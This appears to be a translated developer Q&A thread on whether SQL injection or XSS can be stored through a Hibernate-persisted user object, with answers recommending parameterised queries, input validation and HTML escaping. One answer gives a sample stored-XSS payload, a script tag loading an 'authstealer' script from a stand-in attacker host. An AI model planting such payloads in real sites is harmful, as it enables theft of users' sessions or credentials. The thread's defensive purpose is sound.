【问题标题】:can attackers inject sql or javascripts into java POJOs?攻击者可以将 sql 或 javascript 注入 java POJO 吗?
【发布时间】:2018-03-31 17:58:49
【问题描述】:

我有一个表单,用户可以在其中注册到我的网站 数据存储在用户 POJO 中

class User{
private String userName;
private boolean enabled;
private Date registrationDate;
...
}

然后使用

持久化到数据库
org.hibernate.Session.persist(User)

攻击者有没有办法在用户名字段上进行 sql 注入或 XSS、污染数据或进行任何其他类型的攻击,我该如何防范?

攻击者还可以将 sql 语句或 javascript 代码存储在 String 以外的数据类型中吗?

【问题讨论】:

    标签: java hibernate security xss sql-injection


    【解决方案1】:

    https://www.owasp.org/index.php/Hibernate#A_note_about_SQL_injection

    验证表单输入总是更好。由于给定的对象相对简单,因此对您来说应该不是问题。

    也不要通过字符串连接来构建查询,并在需要时使用 Query.setParameter() 。这些方法专门用于预防 SQL 注入,并将消除这种风险。

    【讨论】:

      【解决方案2】:

      从您目前发布的内容来看,这看起来很容易受到 XSS 的攻击。 如果我为我的用户名提供以下字符串会怎样:

      Username<script src="http://myevilsite.com/authstealer.js">
      

      任何在网站上看到我的用户名的人都会运行一些 js。

      也许你应该burp你的网站。

      【讨论】:

        【解决方案3】:

        干净使用hibernate,说不做丑事,是安全的。所以没有 SQL 注入

        但是,如果 HTML 表单输入没有防范 JavaScript,您可能会在数据库中的文本中获取 JS。

        在输出该文本时,必须注意进行 escapeHTML=true。 那就没有 XSS

        一般来说不是什么大问题,但要注意开发人员在管理页面上的懒惰与转储等;这些页面的创建可能更简单。

        关于其他格式:SVG(可编写脚本的矢量格式)是一种漂亮的可扩展 XML 图像格式,可在 HTML 页面上显示。但是,它们可能包含用于交互的 JavaScript。

        同样适用于上传的富文本电子表格格式,有时保存在数据库中的BLOB中。

        【讨论】:

          猜你喜欢
          • 2016-11-05
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 2016-10-15
          • 1970-01-01
          • 2015-11-30
          • 1970-01-01
          相关资源
          最近更新 更多